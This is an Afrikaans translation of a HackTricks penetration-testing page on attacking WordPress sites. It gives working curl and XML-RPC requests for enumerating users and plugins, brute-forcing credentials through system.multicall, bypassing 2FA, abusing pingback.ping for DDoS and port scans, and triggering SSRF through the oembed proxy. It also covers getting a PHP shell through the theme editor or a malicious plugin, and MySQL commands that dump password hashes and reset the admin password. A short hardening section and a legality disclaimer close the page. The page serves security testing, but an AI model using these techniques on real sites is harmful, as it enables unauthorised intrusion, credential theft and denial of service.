Wordpress

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Gebruik Trickest om maklik te bou en werkstrome outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels. Kry Vandaag Toegang:

Basiese Inligting

Opgelaaide lêers gaan na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Temalêers kan gevind word in /wp-content/themes/, so as jy 'n bietjie php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur die twintigtwintig-tema te gebruik, kan jy die 404.php-lêer toegang in: /wp-content/themes/twentytwelve/404.php 'n Ander nuttige URL kan wees: /wp-content/themes/default/404.php

In wp-config.php kan jy die hoofwagwoord van die databasis vind.

Verkieslike aanmeldingspaaie om te kontroleer: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Hoof WordPress Lêers

  • index.php

  • license.txt bevat nuttige inligting soos die weergawe van WordPress wat geïnstalleer is.

  • wp-activate.php word gebruik vir die e-posaktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.

  • Aanmeldingsgids (kan hernoem word om dit te verberg):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data moontlik maak om oorgedra te word met HTTP wat as die vervoermeganisme optree en XML as die enkoderingsmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress REST API.

  • Die wp-content-map is die hoofgids waar plugins en temas gestoor word.

  • wp-content/uploads/ Is die gids waar enige lêers wat na die platform gelaai is, gestoor word.

  • wp-includes/ Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets.

  • wp-sitemap.xml In Wordpress-weergawes 5.5 en hoër, genereer Wordpress 'n sitemap-XML-lêer met alle openbare plasings en openbaar navraagbare plasingstipes en taksonomieë.

Na-uitbuiting

  • Die wp-config.php-lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, outentiseringsleutels en soute, en die databasistabelvoorvoegsel. Hierdie konfigurasie-lêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees vir foutopsporing.

Gebruikersregte

  • Administrateur

  • Redakteur: Publiseer en bestuur sy eie en ander se plasings

  • Outeur: Publiseer en bestuur sy eie plasings

  • Bydraer: Skryf en bestuur sy plasings, maar kan dit nie publiseer nie

  • Intekenaar: Blaai deur plasings en wysig hul profiel

Passiewe Opsomming

Kry WordPress-weergawe

Kyk of jy die lêers /license.txt of /readme.html kan vind

Binne die bronkode van die bladsy (voorbeeld van https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta naam

  • CSS skakel lêers

  • JavaScript lêers

Kry Inproppe

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Haal weergawes in die algemeen uit

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Gebruik Trickest om maklik te bou en werkstrome outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente. Kry Vandaag Toegang:

Aktiewe opname

Invoegtoepassings en Temas

Jy sal waarskynlik nie in staat wees om al die Invoegtoepassings en Temas te vind nie. Om almal te ontdek, sal jy nodig hê om aktief 'n lys van Invoegtoepassings en Temas te Brute Force (hopelik vir ons is daar outomatiese gereedskap wat hierdie lyste bevat).

Gebruikers

ID Brute

Jy kan geldige gebruikers van 'n WordPress-webwerf kry deur gebruikers-ID's te Brute Force:

curl -s -I -X GET http://blog.example.com/?author=1

Indien die antwoorde 200 of 30X is, beteken dit dat die id geldig is. Indien die antwoord 400 is, dan is die id ongeldig.

wp-json

Jy kan ook probeer om inligting oor die gebruikers te kry deur navrae te doen:

curl http://blog.example.com/wp-json/wp/v2/users

'n Ander /wp-json/ eindpunt wat 'n bietjie inligting oor gebruikers kan onthul is:'

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Merk op dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos geplaas het. Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word.

Merk ook op dat /wp-json/wp/v2/pages IP-adresse kan laat uitlek.

Login gebruikersnaam enumerasie

Wanneer jy inlog by /wp-login.php is die boodskap verskillend as die aangeduide gebruikersnaam bestaan of nie.

XML-RPC

As xml-rpc.php aktief is, kan jy 'n geloofsbriek-kragaanval uitvoer of dit gebruik om DoS-aanvalle op ander bronne te lanceer. (Jy kan hierdie proses outomatiseer deur hierdie te gebruik byvoorbeeld).

Om te sien of dit aktief is, probeer om toegang te verkry tot /xmlrpc.php en stuur hierdie versoek:

Check

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Verifikasie van Gelde

wp.getUserBlogs, wp.getCategories of metaWeblog.getUsersBlogs is van die metodes wat gebruik kan word om gelde te verifieer. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Die boodskap "Verkeerde gebruikersnaam of wagwoord" binne 'n 200-kode respons behoort te verskyn as die geloofsbriewe nie geldig is nie.

Met die regte geloofsbriewe kan jy 'n lêer oplaai. In die respons sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Ook is daar 'n vinniger manier om wagwoordkredensiale met behulp van system.multicall te kragtig, aangesien jy verskeie kredensiale op dieselfde versoek kan probeer:

Bypass 2FA

Hierdie metode is bedoel vir programme en nie vir mense nie, en oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige kredensiale het maar die hoofingang deur 2FA beskerm word, kan jy dalk xmlrpc.php misbruik om met daardie kredensiale in te teken en 2FA te omseil. Let daarop dat jy nie al die aksies kan uitvoer wat jy deur die konsole kan doen nie, maar jy kan dalk steeds tot RCE kom soos Ippsec dit verduidelik in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS of poort aftasting

As jy die metode pingback.ping binne die lys kan vind, kan jy die Wordpress 'n willekeurige versoek stuur na enige gas/hefboom. Dit kan gebruik word om duisende Wordpress webwerwe te vra om toegang tot een plek (sodat 'n DDoS in daardie plek veroorsaak word) of jy kan dit gebruik om Wordpress te laat aftas van 'n interne netwerk (jy kan enige poort aandui).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

As jy faultCode met 'n waarde groter as 0 (17) kry, beteken dit dat die poort oop is.

Neem 'n kyk na die gebruik van system.multicall in die vorige afdeling om te leer hoe om hierdie metode te misbruik om 'n DDoS te veroorsaak.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: /wp-cron.php Wanneer hierdie lêer toegang kry, word 'n "swaar" MySQL navraag uitgevoer, wat deur aanvallers gebruik kan word om 'n DoS te veroor. Ook, standaard, word die wp-cron.php elke keer geroep wanneer 'n kliënt enige Wordpress-bladsy aanvra, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).

Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).

/wp-json/oembed/1.0/proxy - SSRF

Probeer om https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net te benader en die Worpress-webwerf kan 'n versoek aan jou rig.

Dit is die reaksie wanneer dit nie werk nie:

SSRF

Hierdie instrument toets of die methodName: pingback.ping en vir die pad /wp-json/oembed/1.0/proxy bestaan, en as dit wel bestaan, probeer dit om hulle uit te buit.

Outomatiese Gereedskap

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Gebruik Trickest om maklik en outomatiseer werkafloeie te bou wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente. Kry Toegang Vandag:

Kry toegang deur 'n bietjie te oorskryf

Meer as 'n werklike aanval is dit 'n nuuskierigheid. In die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bit van enige wordpress-lêer omkeer. So kon jy die posisie 5389 van die lêer /var/www/html/wp-includes/user.php omkeer om die NOT (!) operasie te NOP.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Paneel RCE

Wysig 'n php van die gebruikte tema (admin-inligting nodig)

Verskyning → Tema-redakteur → 404-sjabloon (aan die regterkant)

Verander die inhoud vir 'n php dop:

Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hierdie adres besoek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Jy kan gebruik:

use exploit/unix/webapp/wp_admin_shell_upload

Inprop RCE

PHP inprop

Dit mag moontlik wees om .php lêers as 'n inprop te laai. Skep jou php agterdeur deur byvoorbeeld te gebruik:

Voeg dan 'n nuwe inprop by:

Laai die inprop op en druk op Installeer Nou:

Klik op Gaan voort:

Dit sal waarskynlik niks skynbaar doen nie, maar as jy na Media gaan, sal jy sien dat jou dop geüpload is:

Kry toegang daartoe en jy sal die URL sien om die omgekeerde dop uit te voer:

Oplaai en aktivering van skadelike inprop

Hierdie metode behels die installasie van 'n skadelike inprop wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web dop te verkry. Hierdie proses word uitgevoer deur die WordPress dashboard soos volg:

  1. Inprop Verkryging: Die inprop word verkry van 'n bron soos Exploit DB soos hier.

  2. Inprop Installasie:

  • Navigeer na die WordPress dashboard, gaan dan na Dashboard > Inproppe > Laai Inprop op.

  • Laai die zip-lêer van die afgelaaide inprop op.

  1. Inprop Aktivering: Sodra die inprop suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.

  2. Uitbuiting:

  • Met die inprop "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.

  • Die Metasploit-raamwerk bied 'n uitbuit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke bevele uit te voer, kan 'n meterpreter-sessie tot stand gebring word, wat ongemagtigde toegang tot die webwerf verleen.

  • Dit word opgemerk dat hierdie net een van die baie metodes is om 'n WordPress-webwerf uit te buit.

Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard uitbeeld vir die installering en aktivering van die inprop. Dit is egter belangrik om daarop te let dat dit onwettig en oneties is om kwesbaarhede op hierdie manier uit te buit sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs binne 'n wettige konteks, soos deurdringende toetsing met uitdruklike toestemming.

Vir meer gedetailleerde stappe kyk na: https://www.hackingarticles.in/wordpress-reverse-shell/**

Na-uitbuiting

Haal gebruikersname en wagwoorde uit:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Verander administrateur wagwoord:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

WordPress Beskerming

Gereelde Opdaterings

Maak seker WordPress, plugins, en themes is op datum. Bevestig ook dat outomatiese opdatering ingeskakel is in wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ook, installeer slegs vertroude WordPress-inproppe en -temas.

Sekuriteitsinproppe

Ander Aanbevelings

  • Verwyder verstek admin gebruiker

  • Gebruik sterk wagwoorde en 2FA

  • Deurlopend hersien gebruikers regte

  • Beperk aanmeldingspogings om Brute Force aanvalle te voorkom

  • Hernoem wp-admin.php lêer en staan slegs toegang intern of vanaf sekere IP-adresse toe.

Gebruik Trickest om maklik te bou en outomatiseer werksvloei aangedryf deur die wêreld se mees gevorderde gemeenskapsinstrumente. Kry Vandaag Toegang:

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated